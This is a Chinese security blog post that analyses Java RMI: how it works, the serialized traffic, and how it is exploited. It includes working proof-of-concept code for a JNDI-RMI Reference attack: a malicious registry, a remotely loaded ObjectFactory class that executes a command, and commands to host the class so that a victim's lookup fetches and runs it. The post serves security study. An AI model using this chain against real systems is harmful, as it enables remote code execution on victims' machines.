JavaSec rmi利用分析

在《JavaSec JNDI注入利用分析》中JNDI支持访问多种命名与目录服务,其中就有利用RMI达成RCE的目的。RMI(Remote Method Invocation)远程方法调用可以类比RPC,这里将以下要点总结RMI的利用原理:

  1. RMI基本内容:通过demo代码理解RMI的使用流程

  2. RMI原理分析:通过RMI源码分析,结合Wireshark流量分析RMI的实现,过程指出我们的利用点

  3. RMI利用方式总结:分类总结随着JDK的升级阻断RMI的利用方式发展

一、RMI基本内容

RMI依赖的通信协议为JRMP(Java Remote Message Protocol ,Java 远程消息交换协议),该协议为Java定制,要求服务端与客户端都为Java编写。这个协议就像HTTP协议一样,规定了客户端和服务端通信要满足的规范(这里将在RMI原理分析中流量包体现),RMI中的对象传输以Java的反序列化方式编码,所以说RMI的利用总体还是Java不安全的反序列漏洞利用,也有RMI的协议独特的利用方式。

一个简单的例子:

Compute.java: 生成远程对象接口

package com.thonsun.server;

import java.rmi.Remote;
import java.rmi.RemoteException;

/**
 * @Project: test-poc
 * @Desc:
 * @Author: thonsun
 * @Create: 2020/12/25 12:17
 **/
public interface Compute extends Remote {
    int add(int a,int b) throws RemoteException;
}

RMIServer.java:实现远程对象接口,并集成注册中心

package com.thonsun.server;

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

/**
 * @Project: test-poc
 * @Desc:
 * @Author: thonsun
 * @Create: 2020/12/25 12:18
 **/
public class RMIServer extends UnicastRemoteObject implements Compute {
    public RMIServer() throws RemoteException{
        super();
    }

    @Override
    public int add(int a, int b) throws RemoteException {
        System.out.println("client call add("+a+","+b+")");
        return a+b;
    }

    public static void main(String[] args) {
        try {
            String name = "Compute";
            RMIServer rmiServer = new RMIServer();

            Registry registry = LocateRegistry.createRegistry(1099);
            registry.rebind(name,rmiServer);
            System.out.println("compute server bind ok");
        } catch (RemoteException e) {
            System.out.println("compute server bind exception");
            e.printStackTrace();
        }
    }
}

RMIClient.java:实现客户端调用

package com.thonsun.client;

import com.thonsun.server.Compute;

import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

/**
 * @Project: test-poc
 * @Desc:
 * @Author: thonsun
 * @Create: 2020/12/25 12:18
 **/
public class RMIClient {
    public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException {
        Compute comp = (Compute) Naming.lookup("rmi://192.168.8.115:1099/Compute");
        System.out.println(comp.add(2,3));
    }
}

运行结果:

RMIServer:

image-20201225123331320

RMIClient:

image-20201225123448275

由上面例子一个RMI系统主要有三个组成部分:

1.client:调用者

2.server:被调用者,Remote Object的执行者

3.registry:注册中心,提供Remote Object的引用

在官方文档解析:

Before a client can invoke a method on a remote object, it must first obtain a reference to the remote object. Obtaining a reference can be done in the same way that any other object reference is obtained in a program, such as by getting the reference as part of the return value of a method or as part of a data structure that contains such a reference.

The system provides a particular type of remote object, the RMI registry, for finding references to other remote objects. The RMI registry is a simple remote object naming service that enables clients to obtain a reference to a remote object by name. The registry is typically only used to locate the first remote object that an RMI client needs to use. That first remote object might then provide support for finding other objects.

The java.rmi.registry.Registry remote interface is the API for binding (or registering) and looking up remote objects in the registry. The java.rmi.registry.LocateRegistry class provides static methods for synthesizing a remote reference to a registry at a particular network address (host and port). These methods create the remote reference object containing the specified network address without performing any remote communication. LocateRegistry also provides static methods for creating a new registry in the current Java virtual machine, although this example does not use those methods. Once a remote object is registered with an RMI registry on the local host, clients on any host can look up the remote object by name, obtain its reference, and then invoke remote methods on the object. The registry can be shared by all servers running on a host, or an individual server process can create and use its own registry.

意思是说client 通过获取的服务端远程对象的引用stub来与服务端远程对象交互,这个stub就像是在client端的远程对象代理。而client获取服务端远程引用stub是通过Registery(注册中心实际也是一个Remote Object的实现,这里的Registry 与 LocateRegistery的关系可以看出),解决了获取Remote Object Stub的问题。

文档还指出,远程方法调用的参数传递约定:

The rules governing how arguments and return values are passed are as follows:

  • Remote objects are essentially passed by reference. A remote object reference is a stub, which is a client-side proxy that implements the complete set of remote interfaces that the remote object implements.
  • Local objects are passed by copy, using object serialization. By default, all fields are copied except fields that are marked static or transient. Default serialization behavior can be overridden on a class-by-class basis.

意思是说客户端通过从Registery获取的远程对象的stub引用调用远程对象方法,方法的参数与方法的返回值以Java序列化数据编码传递。即远程对象的方法的参数与方法的返回值可是一基本类型,可序列化对象;当是可序列化对象的时候,这个对象的class文件必须是共同存在服务端or客户端的,或者如服务端不存在参数的类型,但服务端JVM允许远程codebase加载类(参考文献:Java Codebase技术),客户端启动的时候指定codebase url调用服务端,此时服务端会从客户端codebase通过URLClassLoader加载类字节文件(这个就是其中一个利用点,但由于利用条件限制太多通常不用),这个流程将在下面分析

一个RMI程序整体流程:

image-20201225115057036

以RMI Remote Object调用为例讲解RMI系统工作过程:

1.服务端实现Remote Object接口,通过UnicastRemoteObject.export()创建本地skeleton与stub并将stub注册到RMIRegistry

2.客户端通过JNDI或者Naming lookup从RMIRegistry 获取Remote Object的引用stub

3.客户端通过本地远程代理对象stub与服务端skeleton通讯,以Java序列化编码传输参数与返回值

将有两个tcp的握手过程。

二、RMI原理分析

这里以源码与流量层面对RMI的Remote Object 与 Reference进行原理分析

2.1 RMI Remote Object

demo程序以上面那个为例

1.远程对象RMIServer继承 UnicastRemoteObject 初始化通过exportObject创建Skeleton与stub

image-20201225160800343

内部包含ref对象

2.创建Registry并注册Remote Object到Regitstery

通过debug可以看出Registry其实也是一个Remote Object

image-20201225161212018

名称与RMIServer绑定

image-20201225161520969

3.客户端获取stub

客户端通过Naming.lookup获取一个远程对象的引用,先解析获取到Registry的引用

image-20201225162018837

在调用Registry的远程方法lookup查找指定名称的Server远程对象,可以看到Client –> Registry是以Java反序列传输数据

image-20201225162438656

从Regitstry反序列化获得Server Remote Object的代理类

image-20201225162959310

通过Proxy代理调用远程方法返回结果

表现在流量层面:(为方便查看,服务端与客户端分开运行)

wireshark 流量抓取RMI Client通讯流量

ip.addr == 192.168.58.131 && (ip.addr == 192.168.8.115 ||ip.addr == 172.31.2.167)

第一次TCP链接:Client与Registry建立连接获取Remote Object的引用(代理对象);

Wireshark正确识别出是RMI的流量

image-20201225174452749

获取到的Remote Object引用在JRMI ReturnData,以序列化字节流传输,通过SerializationDumper 可以查看序列化数据

$ java -jar SerializationDumper.jar "aced0005770f019853d68c000001769940ab038005737d00000002000f6a6176612e726d692e52656d6f74650020636f6d2e74686f6e73756e2e64656d6f312e7365727665722e436f6d7075746570787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b7078707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c65720000000000000002020000707872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e0300007078707735000a556e6963617374526566000c3137322e33312e322e3136370000faa7ce7e561aa49bbf989853d68c000001769940ab0380010178"

STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
  TC_BLOCKDATA - 0x77
    Length - 15 - 0x0f
    Contents - 0x019853d68c000001769940ab038005
  TC_OBJECT - 0x73
    TC_PROXYCLASSDESC - 0x7d
      newHandle 0x00 7e 00 00
      Interface count - 2 - 0x00 00 00 02
      proxyInterfaceNames
        0:
          Length - 15 - 0x00 0f
          Value - java.rmi.Remote - 0x6a6176612e726d692e52656d6f7465
        1:
          Length - 32 - 0x00 20
          Value - com.thonsun.demo1.server.Compute - 0x636f6d2e74686f6e73756e2e64656d6f312e7365727665722e436f6d70757465
      classAnnotations
        TC_NULL - 0x70
        TC_ENDBLOCKDATA - 0x78
      superClassDesc
        TC_CLASSDESC - 0x72
          className
            Length - 23 - 0x00 17
            Value - java.lang.reflect.Proxy - 0x6a6176612e6c616e672e7265666c6563742e50726f7879
          serialVersionUID - 0xe1 27 da 20 cc 10 43 cb
          newHandle 0x00 7e 00 01
          classDescFlags - 0x02 - SC_SERIALIZABLE
          fieldCount - 1 - 0x00 01
          Fields
            0:
              Object - L - 0x4c
              fieldName
                Length - 1 - 0x00 01
                Value - h - 0x68
              className1
                TC_STRING - 0x74
                  newHandle 0x00 7e 00 02
                  Length - 37 - 0x00 25
                  Value - Ljava/lang/reflect/InvocationHandler; - 0x4c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b
          classAnnotations
            TC_NULL - 0x70
            TC_ENDBLOCKDATA - 0x78
          superClassDesc
            TC_NULL - 0x70
    newHandle 0x00 7e 00 03
    classdata
      java.lang.reflect.Proxy
        values
          h
            (object)
              TC_OBJECT - 0x73
                TC_CLASSDESC - 0x72
                  className
                    Length - 45 - 0x00 2d
                    Value - java.rmi.server.RemoteObjectInvocationHandler - 0x6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c6572
                  serialVersionUID - 0x00 00 00 00 00 00 00 02
                  newHandle 0x00 7e 00 04
                  classDescFlags - 0x02 - SC_SERIALIZABLE
                  fieldCount - 0 - 0x00 00
                  classAnnotations
                    TC_NULL - 0x70
                    TC_ENDBLOCKDATA - 0x78
                  superClassDesc
                    TC_CLASSDESC - 0x72
                      className
                        Length - 28 - 0x00 1c
                        Value - java.rmi.server.RemoteObject - 0x6a6176612e726d692e7365727665722e52656d6f74654f626a656374
                      serialVersionUID - 0xd3 61 b4 91 0c 61 33 1e
                      newHandle 0x00 7e 00 05
                      classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE
                      fieldCount - 0 - 0x00 00
                      classAnnotations
                        TC_NULL - 0x70
                        TC_ENDBLOCKDATA - 0x78
                      superClassDesc
                        TC_NULL - 0x70
                newHandle 0x00 7e 00 06
                classdata
                  java.rmi.server.RemoteObject
                    values
                    objectAnnotation
                      TC_BLOCKDATA - 0x77
                        Length - 53 - 0x35
                        Contents - 0x000a556e6963617374526566000c3137322e33312e322e3136370000faa7ce7e561aa49bbf989853d68c000001769940ab03800101
                      TC_ENDBLOCKDATA - 0x78
                  java.rmi.server.RemoteObjectInvocationHandler
                    values
      

这里注意classAnnotations,这个是下面利用RMI codebase的利用点,codebase将在这里指定

第二次TCP链接:Client获取的Remote Object本地代理与Server交互获得返回结果

image-20201225175920179

对call 与 result的数据进行格式解释:

image-20201225180033993

对于Java序列化的格式参考 官网文档

image-20201225180829573

即础数据类型的数据,如整数、浮点数等,会在流中使用blockdata格式进行表示。

这里Call & ReturnData 后面可以看到参数2,3,5;

这里可以提一下对于参数&返回值是一个对象的时候,则是classdata的反序列形式,若本地JVM不存在class文件若满足可以加载远程codebase的运行条件(将在下面讨论)将从远程codebase下载class文件加载进行反序列化

2.2 RMI Reference

这个流程放在RMI Reference讨论

三、RMI利用方式

这里以利用方式进行分类叙述

3.1 利用RMI威胁功能函数

利用条件:

远程对象存在威胁的函数:如写入文件内容到指定的文件位置,这个文件内容与文件位置攻击者可控,且是未授权访问

通常是客户端攻击服务端,利用的是未授权这类漏洞,RMI只是提供一个服务访问接口,类似web的文件上传。

BaRMIe 提供对威胁RMI服务接口进行扫描与攻击。

3.2 利用RMI codebase特性

利用条件:

JVM 启动参数指定允许远程codebase加载class

这个已经很难利用了,这是因为在JDK7u21、JDK6u45之后限制,只有满足下面条件才可以加载codebase 远程class反序列

1.安装设置SecurityManager

2.版本低于JDK7u21、JDK6u45或者设置JVM启动参数 java.rmi.server.useCodebaseOnly=false ,即允许远程codebase加载类

对codebase的理解:

codebase是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类,有点像我们日常用的CLASSPATH,但CLASSPATH是本地路径,而codebase通常是远程URL,比如http、ftp等。

如果我们指定 codebase=http://example.com/ ,然后加载 org.vulhub.example.Example 类,则Java虚拟机会下载这个文件 http://example.com/org/vulhub/example/Example.class ,并作为Example类的字节码。

RMI的流程中,客户端和服务端之间传递的是一些序列化后的对象,这些对象在反序列化时,就会去寻找类。如果某一端反序列化时发现一个对象,那么就会去自己的CLASSPATH下寻找想对应的类(类加载的知识);如果在本地没有找到这个类,就会去远程加载codebase中的类。

3.3 利用RMI参数为Object类型函数

利用条件:

1.对于远程对象A,有方法b,参数有类型为Object(可接受任意类型)的c,即A.b(c)

2.受害者JVM中存在利用链,如Apache Common Collections依赖

这里可以是服务器攻击客户端,也可以是客户端攻击服务端,因为RMI的远程对象方法参数与返回值都是通过Java反序列化传输,服务端or客户端在接受到一个Object的参数会通过本地class.loadClass()加载本地Class进行newInstance,这之后走的是Java反序列漏洞利用。关于Java反序列化漏洞利用可参考上篇《JavaSec java反序列化漏洞利用分析》

这里给出一个简单的利用demo

3.4 利用RMI Reference

攻击者起恶意的Registry:

package com.thonsun.demo2.registry;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 * @Project: JavaSec
 * @Desc: 攻击者部署的恶意注册中心,返回执行payload的Reference绕过codebase限制与突破没有利用链的
 * @Author: thonsun
 * @Create: 2020/12/25 18:25
 **/
public class RMIRegistry {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("ExecTest", "ExecTest", "http://192.168.58.131:8080/");

        ReferenceWrapper evil = new ReferenceWrapper(reference);
        registry.bind("evil",evil);
        System.out.println("bind ExecTest Reference Done");
    }
}

攻击者起的http服务提供恶意class下载:

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class ExecTest implements ObjectFactory {

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
        exec("xterm");
        return null;
    }

    public static String exec(String cmd) {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
        return "";
    }

    public static void main(String[] args) {
        exec("123");
    }
}

注意:ExecTest不要写包名

编译成class文件:javac ExecTest.java
部署在web服务上:py -3 -m http.server 8081

受害者的客户端(攻击者可控lookup参数指向攻击者的恶意Reference)

package com.thonsun.demo2.client;

import javax.naming.Context;
import javax.naming.InitialContext;

/**
 * @Project: JavaSec
 * @Desc:
 * @Author: thonsun
 * @Create: 2020/12/25 18:23
 **/
public class RMIClient {
    public static void main(String[] args) throws Exception {
        String uri = "rmi://192.168.58.131:1099/evil";
        Context ctx = new InitialContext();
        ctx.lookup(uri);

    }

}

运行Registry

运行Client

Client运行效果,RCE触发弹出计算器:

image-20201225185600551

攻击者搭建的恶意Registry,绑定的Referece指向恶意Class【ExecTest】,受害机器(RMI 客户端的lookup参数可控)成功执行恶意Class

这里其实是JNDI-RMI的利用方式,放到这里其实是把他作为一个RMI远程class加载,具体的触发原理可以参考上篇讨论《JavaSec JNDI注入利用分析》,这里可以简单说一下:

InitialContext.lookup("referece url")
InitialContext.getURLOrDefaultInitCtx() # 获得RMI Registry Context,内部有Registry的远程地址
GernericURLContext.lookup("referece name") 
RegistryContext.lookup("raferce name") # 获取Ristery Reference stub

RegistryContext.decodeObject(referece) # RemoteReference进行远程加载Reference的FactoryLocation
RemoteReference.getReferece() # 远程加载类factory

NamingManager.getObjectInstance() # 
NamingManager.getObjectFactoryFromReference -> factory newInstance调用静态方法

或重载的函数factory.getObjectInstance() 触发RCE

四、总结

这里以一个导图总结

image-20201225111421061

参考资料

1.java rmi tutorials: https://docs.oracle.com/javase/tutorial/rmi/overview.html

2.jvm codebase: https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/codebase.html

3.SerializationDumper

4.BaRMIe

5.marshalsec

6.Object Serialization Stream Protocol


 上一篇
JavaSec Tomcat内存Webshell分析 JavaSec Tomcat内存Webshell分析
随着各种JAVA指定环境RCE漏洞的出现,Java Web的安全逐渐被人们所重视,与漏洞相关的还有用于后期维持权限的Webshell。与PHP不同的是,JSP的语言特性较为严格,属于强类型语言,并且在JDK9以前并没有所谓的eval函数。
2020-12-10
下一篇 
JavaSec jndi注入利用分析 JavaSec jndi注入利用分析
在fastjson反序列化漏洞利用的学习中引出了JNDI的利用攻击方式,JNDI(Java Naming and Directory Interface)实际可以理解为一个编程接口,通过API的操作可以操作后端命名服务或者目录服务,如loo
2020-12-02
  目录